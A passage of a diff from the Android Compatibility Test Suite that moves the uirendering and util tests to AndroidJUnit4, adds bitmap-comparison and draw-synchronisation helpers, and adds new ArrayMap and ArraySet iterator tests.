-                    final int[] locationOnScreen = mViewWrapper.getLocationOnScreen();
-                    mLock.set(locationOnScreen[0], locationOnScreen[1]);
+                    mViewWrapper.getLocationOnScreen(mLocationOnScreen);
+                    mLock.set(mLocationOnScreen[0], mLocationOnScreen[1]);
                     mLock.notify();
                 }
-                mView.getViewTreeObserver().removeOnPreDrawListener(this);
-            }
-            return true;
+            });
         }
     }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/MaterialActivity.java b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/MaterialActivity.java
new file mode 100644
index 0000000..53df12c
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/MaterialActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testinfrastructure;
+
+import android.app.Activity;
+
+public class MaterialActivity extends Activity {
+
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java
new file mode 100644
index 0000000..d5f9324
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapAsserter.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.uirendering.cts.util;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.graphics.Bitmap;
+import android.uirendering.cts.bitmapcomparers.BitmapComparer;
+import android.uirendering.cts.bitmapverifiers.BitmapVerifier;
+import android.uirendering.cts.differencevisualizers.DifferenceVisualizer;
+import android.uirendering.cts.differencevisualizers.PassFailVisualizer;
+
+public class BitmapAsserter {
+    private DifferenceVisualizer mDifferenceVisualizer;
+    private Context mContext;
+    private String mClassName;
+
+    public BitmapAsserter(String className, String name) {
+        mClassName = className;
+        mDifferenceVisualizer = new PassFailVisualizer();
+
+        // Create a location for the files to be held, if it doesn't exist already
+        BitmapDumper.createSubDirectory(mClassName);
+
+        // If we have a test currently, let's remove the older files if they exist
+        if (name != null) {
+            BitmapDumper.deleteFileInClassFolder(mClassName, name);
+        }
+    }
+
+    public void setUp(Context context) {
+        mDifferenceVisualizer = new PassFailVisualizer();
+        mContext = context;
+    }
+
+    /**
+     * Compares the two bitmaps saved using the given test. If they fail, the files are saved using
+     * the test name.
+     */
+    public void assertBitmapsAreSimilar(Bitmap bitmap1, Bitmap bitmap2, BitmapComparer comparer,
+            String testName, String debugMessage) {
+        boolean success;
+        int width = bitmap1.getWidth();
+        int height = bitmap1.getHeight();
+
+        if (width != bitmap2.getWidth() || height != bitmap2.getHeight()) {
+            fail("Can't compare bitmaps of different sizes");
+        }
+
+        int[] pixels1 = new int[width * height];
+        int[] pixels2 = new int[width * height];
+        bitmap1.getPixels(pixels1, 0, width, 0, 0, width, height);
+        bitmap2.getPixels(pixels2, 0, width, 0, 0, width, height);
+        success = comparer.verifySame(pixels1, pixels2, 0, width, width, height);
+
+        if (!success) {
+            BitmapDumper.dumpBitmaps(bitmap1, bitmap2, testName, mClassName, mDifferenceVisualizer);
+        }
+
+        assertTrue(debugMessage, success);
+    }
+
+    /**
+     * Tests to see if a bitmap passes a verifier's test. If it doesn't the bitmap is saved to the
+     * sdcard.
+     */
+    public void assertBitmapIsVerified(Bitmap bitmap, BitmapVerifier bitmapVerifier,
+            String testName, String debugMessage) {
+        int width = bitmap.getWidth();
+        int height = bitmap.getHeight();
+        int[] pixels = new int[width * height];
+        bitmap.getPixels(pixels, 0, width, 0, 0, width, height);
+        boolean success = bitmapVerifier.verify(pixels, 0, width, width, height);
+        if (!success) {
+            Bitmap croppedBitmap = Bitmap.createBitmap(bitmap, 0, 0, width, height);
+            BitmapDumper.dumpBitmap(croppedBitmap, testName, mClassName);
+            BitmapDumper.dumpBitmap(bitmapVerifier.getDifferenceBitmap(), testName + "_verifier",
+                    mClassName);
+        }
+        assertTrue(debugMessage, success);
+    }
+
+
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapDumper.java b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapDumper.java
index 8dd98b0..e96fe0b 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapDumper.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/util/BitmapDumper.java
@@ -16,15 +16,14 @@
 package android.uirendering.cts.util;
 
 import android.graphics.Bitmap;
+import android.os.Environment;
+import android.support.test.InstrumentationRegistry;
 import android.uirendering.cts.differencevisualizers.DifferenceVisualizer;
 import android.util.Log;
 
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.FileOutputStream;
-import java.io.IOException;
+import com.android.compatibility.common.util.BitmapUtils;
 
-import libcore.io.IoUtils;
+import java.io.File;
 
 /**
  * A utility class that will allow the user to save bitmaps to the sdcard on the device.
@@ -35,7 +34,8 @@
     private final static String TESTED_RENDERING_FILE_NAME = "testedCapture.png";
     private final static String VISUALIZER_RENDERING_FILE_NAME = "visualizer.png";
     private final static String SINGULAR_FILE_NAME = "capture.png";
-    private final static String CAPTURE_SUB_DIRECTORY = "/sdcard/UiRenderingCaptures/";
+    private final static String CAPTURE_SUB_DIRECTORY = Environment.getExternalStorageDirectory()
+            + "/UiRenderingCaptures/";
 
     private BitmapDumper() {}
 
@@ -99,38 +99,8 @@
         saveFile(className, testName, SINGULAR_FILE_NAME, bitmap);
     }
 
-    private static void logIfBitmapSolidColor(String bitmapName, Bitmap bitmap) {
-        int firstColor = bitmap.getPixel(0, 0);
-        for (int x = 0; x < bitmap.getWidth(); x++) {
-            for (int y = 0; y < bitmap.getHeight(); y++) {
-                if (bitmap.getPixel(x, y) != firstColor) {
-                    return;
-                }
-            }
-        }
-
-        Log.w(TAG, String.format("%s entire bitmap color is %x", bitmapName, firstColor));
-    }
-
     private static void saveFile(String className, String testName, String fileName, Bitmap bitmap) {
-        String bitmapName = testName + "_" + fileName;
-        Log.d(TAG, "Saving file : " + bitmapName + " in directory : " + className);
-        logIfBitmapSolidColor(bitmapName, bitmap);
-
-        File file = new File(CAPTURE_SUB_DIRECTORY + className, bitmapName);
-        FileOutputStream fileStream = null;
-        try {
-            fileStream = new FileOutputStream(file);
-            bitmap.compress(Bitmap.CompressFormat.PNG, 85, fileStream);
-            fileStream.flush();
-        } catch (FileNotFoundException e) {
-            e.printStackTrace();
-        } catch (IOException e) {
-            e.printStackTrace();
-        } finally {
-            if (fileStream != null) {
-                IoUtils.closeQuietly(fileStream);
-            }
-        }
+        BitmapUtils.saveBitmap(bitmap, CAPTURE_SUB_DIRECTORY + className,
+                testName + "_" + fileName);
     }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/util/DrawCountDown.java b/tests/tests/uirendering/src/android/uirendering/cts/util/DrawCountDown.java
new file mode 100644
index 0000000..cc260d7
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/util/DrawCountDown.java
@@ -0,0 +1,56 @@
+package android.uirendering.cts.util;
+
+import android.view.View;
+import android.view.ViewTreeObserver.OnPreDrawListener;
+
+import java.util.HashSet;
+import java.util.Set;
+
+public class DrawCountDown implements OnPreDrawListener {
+    private static Set<DrawCountDown> sPendingCallbacks = new HashSet<>();
+
+    private int mDrawCount;
+    private View mTargetView;
+    private Runnable mRunnable;
+
+    private DrawCountDown(View targetView, int countFrames, Runnable countReachedListener) {
+        mTargetView = targetView;
+        mDrawCount = countFrames;
+        mRunnable = countReachedListener;
+    }
+
+    @Override
+    public boolean onPreDraw() {
+        if (mDrawCount <= 0) {
+            synchronized (sPendingCallbacks) {
+                sPendingCallbacks.remove(this);
+            }
+            mTargetView.getViewTreeObserver().removeOnPreDrawListener(this);
+            mRunnable.run();
+        } else {
+            mDrawCount--;
+            mTargetView.postInvalidate();
+        }
+        return true;
+ 
+    }
+
+    public static void countDownDraws(View targetView, int countFrames,
+            Runnable onDrawCountReachedListener) {
+        DrawCountDown counter = new DrawCountDown(targetView, countFrames,
+                onDrawCountReachedListener);
+        synchronized (sPendingCallbacks) {
+            sPendingCallbacks.add(counter);
+        }
+        targetView.getViewTreeObserver().addOnPreDrawListener(counter);
+    }
+
+    public static void cancelPending() {
+        synchronized (sPendingCallbacks) {
+            for (DrawCountDown counter : sPendingCallbacks) {
+                counter.mTargetView.getViewTreeObserver().removeOnPreDrawListener(counter);
+            }
+            sPendingCallbacks.clear();
+        }
+    }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/util/WebViewReadyHelper.java b/tests/tests/uirendering/src/android/uirendering/cts/util/WebViewReadyHelper.java
new file mode 100644
index 0000000..22ee9ca
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/util/WebViewReadyHelper.java
@@ -0,0 +1,47 @@
+package android.uirendering.cts.util;
+
+import android.view.ViewTreeObserver.OnDrawListener;
+import android.webkit.WebView;
+import android.webkit.WebView.VisualStateCallback;
+import android.webkit.WebViewClient;
+
+import java.util.concurrent.CountDownLatch;
+
+public final class WebViewReadyHelper {
+    private final CountDownLatch mLatch;
+    private final WebView mWebView;
+
+    public WebViewReadyHelper(WebView webview, CountDownLatch latch) {
+        mWebView = webview;
+        mLatch = latch;
+        mWebView.setWebViewClient(mClient);
+    }
+
+    public void loadData(String data) {
+        mWebView.loadData(data, null, null);
+    }
+
+    private WebViewClient mClient = new WebViewClient() {
+        public void onPageFinished(WebView view, String url) {
+            mWebView.postVisualStateCallback(0, mVisualStateCallback);
+        }
+    };
+
+    private VisualStateCallback mVisualStateCallback = new VisualStateCallback() {
+        @Override
+        public void onComplete(long requestId) {
+            mWebView.getViewTreeObserver().addOnDrawListener(mOnDrawListener);
+            mWebView.invalidate();
+        }
+    };
+
+    private OnDrawListener mOnDrawListener = new OnDrawListener() {
+        @Override
+        public void onDraw() {
+            mWebView.post(() -> {
+                mWebView.getViewTreeObserver().removeOnDrawListener(mOnDrawListener);
+                mLatch.countDown();
+            });
+        }
+    };
+}
diff --git a/tests/tests/util/Android.mk b/tests/tests/util/Android.mk
index 734eb87..32d4584 100644
--- a/tests/tests/util/Android.mk
+++ b/tests/tests/util/Android.mk
@@ -24,7 +24,11 @@
 # Tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    android-support-annotations \
+    android-support-test \
+    ctstestrunner \
+    legacy-android-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/util/AndroidTest.xml b/tests/tests/util/AndroidTest.xml
index 9af993c..b022356 100644
--- a/tests/tests/util/AndroidTest.xml
+++ b/tests/tests/util/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Util test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsUtilTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.util.cts" />
+        <option name="runtime-hint" value="9m" />
     </test>
 </configuration>
diff --git a/tests/tests/util/src/android/util/cts/AndroidExceptionTest.java b/tests/tests/util/src/android/util/cts/AndroidExceptionTest.java
index 17304b6..86cf1b1 100644
--- a/tests/tests/util/src/android/util/cts/AndroidExceptionTest.java
+++ b/tests/tests/util/src/android/util/cts/AndroidExceptionTest.java
@@ -16,14 +16,22 @@
 
 package android.util.cts;
 
+import static org.junit.Assert.assertEquals;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AndroidException;
-import android.test.AndroidTestCase;
 
-public class AndroidExceptionTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AndroidExceptionTest {
     private static final String NAME = "Test_AndroidException";
     private static final Exception CAUSE = new Exception();
 
+    @Test
     public void testAndroidException() {
         try {
             throw new AndroidException();
diff --git a/tests/tests/util/src/android/util/cts/AndroidRuntimeExceptionTest.java b/tests/tests/util/src/android/util/cts/AndroidRuntimeExceptionTest.java
index 8e8d84a..886269f 100644
--- a/tests/tests/util/src/android/util/cts/AndroidRuntimeExceptionTest.java
+++ b/tests/tests/util/src/android/util/cts/AndroidRuntimeExceptionTest.java
@@ -16,14 +16,22 @@
 
 package android.util.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertEquals;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.AndroidRuntimeException;
 
-public class AndroidRuntimeExceptionTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class AndroidRuntimeExceptionTest {
     private static final String NAME = "Test_AndroidRuntimeException";
     private static final Exception CAUSE = new Exception();
 
+    @Test
     public void testAndroidRuntimeException() {
         try {
             throw new AndroidRuntimeException();
diff --git a/tests/tests/util/src/android/util/cts/ArrayMapTest.java b/tests/tests/util/src/android/util/cts/ArrayMapTest.java
index 130b354..c89972d 100644
--- a/tests/tests/util/src/android/util/cts/ArrayMapTest.java
+++ b/tests/tests/util/src/android/util/cts/ArrayMapTest.java
@@ -16,22 +16,39 @@
 
 package android.util.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
 import android.os.Bundle;
 import android.os.Parcel;
 import android.os.Parcelable;
-import android.test.AndroidTestCase;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.ArrayMap;
 import android.util.Log;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
+import java.util.AbstractMap;
+import java.util.Arrays;
 import java.util.Collection;
 import java.util.HashMap;
+import java.util.HashSet;
 import java.util.Iterator;
 import java.util.Map;
+import java.util.NoSuchElementException;
 import java.util.Set;
 
-public class ArrayMapTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ArrayMapTest {
     static final boolean DEBUG = false;
 
     static final int OP_ADD = 1;
@@ -332,9 +349,10 @@
         }
     }
 
+    @Test
     public void testBasicArrayMap() {
-        HashMap<ControlledHash, Integer> hashMap = new HashMap<ControlledHash, Integer>();
-        ArrayMap<ControlledHash, Integer> arrayMap = new ArrayMap<ControlledHash, Integer>();
+        HashMap<ControlledHash, Integer> hashMap = new HashMap<>();
+        ArrayMap<ControlledHash, Integer> arrayMap = new ArrayMap<>();
         Bundle bundle = new Bundle();
 
         for (int i=0; i<OPS.length; i++) {
@@ -406,11 +424,9 @@
             dump(hashMap, arrayMap);
             fail(msg);
         }
-
-        //Log.e("test", "Test successful; printing final map.");
-        //dump(hashMap, arrayMap);
     }
 
+    @Test
     public void testCopyArrayMap() {
         // map copy constructor test
         ArrayMap newMap = new ArrayMap<Integer, String>();
@@ -428,10 +444,11 @@
         }
     }
 
+    @Test
     public void testEqualsArrayMap() {
-        ArrayMap<Integer, String> map1 = new ArrayMap<Integer, String>();
-        ArrayMap<Integer, String> map2 = new ArrayMap<Integer, String>();
-        HashMap<Integer, String> map3 = new HashMap<Integer, String>();
+        ArrayMap<Integer, String> map1 = new ArrayMap<>();
+        ArrayMap<Integer, String> map2 = new ArrayMap<>();
+        HashMap<Integer, String> map3 = new HashMap<>();
         if (!compare(map1, map2) || !compare(map1, map3) || !compare(map3, map2)) {
             fail("ArrayMap equals failure for empty maps " + map1 + ", " +
                     map2 + ", " + map3);
@@ -465,6 +482,7 @@
      * Test creating a malformed array map with duplicated keys and that we will catch this
      * when unparcelling.
      */
+    @Test
     public void testDuplicateKeys() throws NoSuchMethodException,
             InvocationTargetException, IllegalAccessException, NoSuchFieldException {
         ArrayMap<String, Object> map1 = new ArrayMap(2);
@@ -497,4 +515,160 @@
         dump(map1, map2);
         fail(msg);
     }
+
+    private static void checkEntrySetToArray(ArrayMap<?, ?> testMap) {
+        try {
+            testMap.entrySet().toArray();
+            fail();
+        } catch (UnsupportedOperationException expected) {}
+
+        try {
+            Map.Entry<?, ?>[] entries = new Map.Entry[20];
+            testMap.entrySet().toArray(entries);
+            fail();
+        } catch (UnsupportedOperationException expected) {}
+    }
+
+    // http://b/32294038, Test ArrayMap.entrySet().toArray()
+    @Test
+    public void testEntrySetArray() {
+        // Create
+        ArrayMap<Integer, String> testMap = new ArrayMap<>();
+
+        // Test empty
+        checkEntrySetToArray(testMap);
+
+        // Test non-empty
+        for (int i = 0; i < 10; ++i) {
+            testMap.put(i, String.valueOf(i));
+        }
+        checkEntrySetToArray(testMap);
+    }
+
+    @Test
+    public void testCanNotIteratePastEnd_entrySetIterator() {
+        Map<String, String> map = new ArrayMap<>();
+        map.put("key 1", "value 1");
+        map.put("key 2", "value 2");
+        Set<Map.Entry<String, String>> expectedEntriesToIterate = new HashSet<>(Arrays.asList(
+                entryOf("key 1", "value 1"),
+                entryOf("key 2", "value 2")
+        ));
+        Iterator<Map.Entry<String, String>> iterator = map.entrySet().iterator();
+
+        // Assert iteration over the expected two entries in any order
+        assertTrue(iterator.hasNext());
+        Map.Entry<String, String> firstEntry = copyOf(iterator.next());
+        assertTrue(expectedEntriesToIterate.remove(firstEntry));
+
+        assertTrue(iterator.hasNext());
+        Map.Entry<String, String> secondEntry = copyOf(iterator.next());
+        assertTrue(expectedEntriesToIterate.remove(secondEntry));
+
+        assertFalse(iterator.hasNext());
+
+        try {
+            iterator.next();
+            fail();
+        } catch (NoSuchElementException expected) {
+        }
+    }
+
+    private static<K, V> Map.Entry<K, V> entryOf(K key, V value) {
+        return new AbstractMap.SimpleEntry<>(key, value);
+    }
+
+    private static<K, V> Map.Entry<K, V> copyOf(Map.Entry<K, V> entry) {
+        return entryOf(entry.getKey(), entry.getValue());
+    }
+
+    @Test
+    public void testCanNotIteratePastEnd_keySetIterator() {
+        Map<String, String> map = new ArrayMap<>();
+        map.put("key 1", "value 1");
+        map.put("key 2", "value 2");
+        Set<String> expectedKeysToIterate = new HashSet<>(Arrays.asList("key 1", "key 2"));
+        Iterator<String> iterator = map.keySet().iterator();
+
+        // Assert iteration over the expected two keys in any order
+        assertTrue(iterator.hasNext());
+        String firstKey = iterator.next();
+        assertTrue(expectedKeysToIterate.remove(firstKey));
+
+        assertTrue(iterator.hasNext());
+        String secondKey = iterator.next();
+        assertTrue(expectedKeysToIterate.remove(secondKey));
+
+        assertFalse(iterator.hasNext());
+
+        try {
+            iterator.next();
+            fail();
+        } catch (NoSuchElementException expected) {
+        }
+    }
+
+    @Test
+    public void testCanNotIteratePastEnd_valuesIterator() {
+        Map<String, String> map = new ArrayMap<>();
+        map.put("key 1", "value 1");
+        map.put("key 2", "value 2");
+        Set<String> expectedValuesToIterate = new HashSet<>(Arrays.asList("value 1", "value 2"));
+        Iterator<String> iterator = map.values().iterator();
+
+        // Assert iteration over the expected two values in any order
+        assertTrue(iterator.hasNext());
+        String firstValue = iterator.next();
+        assertTrue(expectedValuesToIterate.remove(firstValue));
+
+        assertTrue(iterator.hasNext());
+        String secondValue = iterator.next();
+        assertTrue(expectedValuesToIterate.remove(secondValue));
+
+        assertFalse(iterator.hasNext());
+
+        try {
+            iterator.next();
+            fail();
+        } catch (NoSuchElementException expected) {
+        }
+    }
+
+    /**
+     * The entrySet Iterator returns itself from each call to {@code next()}.
+     * This is unusual behavior for {@link Iterator#next()}; this test ensures that
+     * any future change to this behavior is deliberate.
+     */
+    @Test
+    public void testUnusualBehavior_eachEntryIsSameAsIterator_entrySetIterator() {
+        Map<String, String> map = new ArrayMap<>();
+        map.put("key 1", "value 1");
+        map.put("key 2", "value 2");
+        Iterator<Map.Entry<String, String>> iterator = map.entrySet().iterator();
+
+        assertSame(iterator, iterator.next());
+        assertSame(iterator, iterator.next());
+    }
+
+    @Test
+    public void testUnusualBehavior_equalsThrowsAfterRemove_entrySetIterator() {
+        Map<String, String> map = new ArrayMap<>();
+        map.put("key 1", "value 1");
+        map.put("key 2", "value 2");
+        Iterator<Map.Entry<String, String>> iterator = map.entrySet().iterator();
+        iterator.next();
+        iterator.remove();
+        try {
+            iterator.equals(iterator);
+            fail();
+        } catch (IllegalStateException expected) {
+        }
+    }
+
+    private static<T> void assertEqualsBothWays(T a, T b) {
+        assertEquals(a, b);
+        assertEquals(b, a);
+        assertEquals(a.hashCode(), b.hashCode());
+    }
+
 }
diff --git a/tests/tests/util/src/android/util/cts/ArraySetTest.java b/tests/tests/util/src/android/util/cts/ArraySetTest.java
index 112459c..f8ff037 100644
--- a/tests/tests/util/src/android/util/cts/ArraySetTest.java
+++ b/tests/tests/util/src/android/util/cts/ArraySetTest.java
@@ -16,19 +16,32 @@
 
 package android.util.cts;
 
-import android.test.AndroidTestCase;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.ArraySet;
 import android.util.Log;
 
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
 import java.util.ArrayList;
-import java.util.Collection;
 import java.util.HashSet;
 import java.util.Iterator;
-import java.util.Set;
+import java.util.NoSuchElementException;
 
 // As is the case with ArraySet itself, ArraySetTest borrows heavily from ArrayMapTest.
 
-public class ArraySetTest extends AndroidTestCase {
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class ArraySetTest {
     private static final String TAG = "ArraySetTest";
 
     private static final boolean DEBUG = false;
@@ -201,17 +214,18 @@
         }
     }
 
+    @Test
     public void testTest() {
         assertEquals("OPS and KEYS must be equal length", OPS.length, KEYS.length);
     }
 
+    @Test
     public void testBasicArraySet() {
-        HashSet<ControlledHash> hashSet = new HashSet<ControlledHash>();
-        ArraySet<ControlledHash> arraySet = new ArraySet<ControlledHash>();
+        HashSet<ControlledHash> hashSet = new HashSet<>();
+        ArraySet<ControlledHash> arraySet = new ArraySet<>();
 
         for (int i = 0; i < OPS.length; i++) {
             ControlledHash key = KEYS[i] < 0 ? null : new ControlledHash(KEYS[i]);
-            String strKey = KEYS[i] < 0 ? null : Integer.toString(KEYS[i]);
             switch (OPS[i]) {
                 case OP_ADD:
                     if (DEBUG) Log.i(TAG, "Adding key: " + key);
@@ -270,6 +284,7 @@
         dump(hashSet, arraySet);
     }
 
+    @Test
     public void testCopyArraySet() {
         // set copy constructor test
         ArraySet newSet = new ArraySet<Integer>();
@@ -288,10 +303,11 @@
         }
     }
 
+    @Test
     public void testEqualsArrayMap() {
-        ArraySet<Integer> set1 = new ArraySet<Integer>();
-        ArraySet<Integer> set2 = new ArraySet<Integer>();
-        HashSet<Integer> set3 = new HashSet<Integer>();
+        ArraySet<Integer> set1 = new ArraySet<>();
+        ArraySet<Integer> set2 = new ArraySet<>();
+        HashSet<Integer> set3 = new HashSet<>();
         if (!compare(set1, set2) || !compare(set1, set3) || !compare(set3, set2)) {
             fail("ArraySet equals failure for empty sets " + set1 + ", " +
                     set2 + ", " + set3);
@@ -314,8 +330,9 @@
         }
     }
 
+    @Test
     public void testIsEmpty() {
-        ArraySet<Integer> set = new ArraySet<Integer>();
+        ArraySet<Integer> set = new ArraySet<>();
         assertEquals("New ArraySet should have size==0", 0, set.size());
         assertTrue("New ArraySet should be isEmptry", set.isEmpty());
 
@@ -328,8 +345,9 @@
         assertTrue("ArraySet should be isEmptry", set.isEmpty());
     }
 
+    @Test
     public void testRemoveAt() {
-        ArraySet<Integer> set = new ArraySet<Integer>();
+        ArraySet<Integer> set = new ArraySet<>();
 
         for (int i = 0; i < 10; ++i) {
             set.add(i * 10);
@@ -361,8 +379,9 @@
         }
     }
 
+    @Test
     public void testIndexOf() {
-        ArraySet<Integer> set = new ArraySet<Integer>();
+        ArraySet<Integer> set = new ArraySet<>();
 
         for (int i = 0; i < 10; ++i) {
             set.add(i * 10);
@@ -373,10 +392,11 @@
         }
     }
 
+    @Test
     public void testAddAll() {
-        ArraySet<Integer> arraySet = new ArraySet<Integer>();
-        ArraySet<Integer> testArraySet = new ArraySet<Integer>();
-        ArrayList<Integer> testArrayList = new ArrayList<Integer>();
+        ArraySet<Integer> arraySet = new ArraySet<>();
+        ArraySet<Integer> testArraySet = new ArraySet<>();
+        ArrayList<Integer> testArrayList = new ArrayList<>();
 
         for (int i = 0; i < 10; ++i) {
             testArraySet.add(i * 10);
@@ -401,10 +421,11 @@
         assertTrue("ArraySet.addAll(Container) failed", arraySet.containsAll(testArrayList));
     }
 
+    @Test
     public void testRemoveAll() {
-        ArraySet<Integer> arraySet = new ArraySet<Integer>();
-        ArraySet<Integer> arraySetToRemove = new ArraySet<Integer>();
-        ArrayList<Integer> arrayListToRemove = new ArrayList<Integer>();
+        ArraySet<Integer> arraySet = new ArraySet<>();
+        ArraySet<Integer> arraySetToRemove = new ArraySet<>();
+        ArrayList<Integer> arrayListToRemove = new ArrayList<>();
 
         for (int i = 0; i < 10; ++i) {
             arraySet.add(i * 10);
@@ -440,9 +461,10 @@
         assertEquals(0, arraySet.size());
     }
 
+    @Test
     public void testRetainAll() {
-        ArraySet<Integer> arraySet = new ArraySet<Integer>();
-        ArrayList<Integer> arrayListToRetain = new ArrayList<Integer>();
+        ArraySet<Integer> arraySet = new ArraySet<>();
+        ArrayList<Integer> arrayListToRetain = new ArrayList<>();
 
         for (int i = 0; i < 10; ++i) {
             arraySet.add(i * 10);
@@ -466,8 +488,9 @@
         assertEquals(2, arraySet.size());
     }
 
+    @Test
     public void testToArray() {
-        ArraySet<Integer> arraySet = new ArraySet<Integer>();
+        ArraySet<Integer> arraySet = new ArraySet<>();
         for (int i = 0; i < 10; ++i) {
             arraySet.add(i * 10);
         }
@@ -492,4 +515,22 @@
         Object[] objectArray = arraySet.toArray();
         compareArraySetAndRawArray(arraySet, objectArray);
     }
+
+    @Test
+    public void testCanNotIteratePastEnd() {
+        ArraySet<String> set = new ArraySet<>();
+        set.add("value");
+        Iterator<String> iterator = set.iterator();
+
+        assertTrue(iterator.hasNext());
+        assertEquals("value", iterator.next());
+        assertFalse(iterator.hasNext());
+
+        try {
+            iterator.next();
+            fail();
+        } catch (NoSuchElementException expected) {
+        }
+    }
+
 }
diff --git a/tests/tests/util/src/android/util/cts/DebugUtilsTest.java b/tests/tests/util/src/android/util/cts/DebugUtilsTest.java
index 203b4efd4..8d5f61b 100644
--- a/tests/tests/util/src/android/util/cts/DebugUtilsTest.java
+++ b/tests/tests/util/src/android/util/cts/DebugUtilsTest.java
@@ -15,10 +15,19 @@
  */
 package android.util.cts;
 
-import junit.framework.TestCase;
+import static org.junit.Assert.assertFalse;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.DebugUtils;
 
-public class DebugUtilsTest extends TestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class DebugUtilsTest {
+    @Test
     public void testIsObjectSelected(){
         // note: because System.getenv("ANDROID_OBJECT_FILTER") always returns null, can't test
         // the case that the method isObjectSelected return true
diff --git a/tests/tests/util/src/android/util/cts/DisplayMetricsTest.java b/tests/tests/util/src/android/util/cts/DisplayMetricsTest.java
index fd8fa53..4966be0 100644
--- a/tests/tests/util/src/android/util/cts/DisplayMetricsTest.java
+++ b/tests/tests/util/src/android/util/cts/DisplayMetricsTest.java
@@ -15,15 +15,26 @@
  */
 package android.util.cts;
 
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
 import android.content.Context;
-import android.test.AndroidTestCase;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
 import android.util.DisplayMetrics;
 import android.view.Display;
 import android.view.WindowManager;
 
-public class DisplayMetricsTest extends AndroidTestCase {
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class DisplayMetricsTest {
     private Display initDisplay() {
-        WindowManager windowManager = (WindowManager) getContext()
+        WindowManager windowManager = (WindowManager) InstrumentationRegistry.getTargetContext()
                 .getSystemService(Context.WINDOW_SERVICE);
         assertNotNull(windowManager);
         Display display = windowManager.getDefaultDisplay();
@@ -31,6 +42,7 @@
         return display;
     }
 
+    @Test
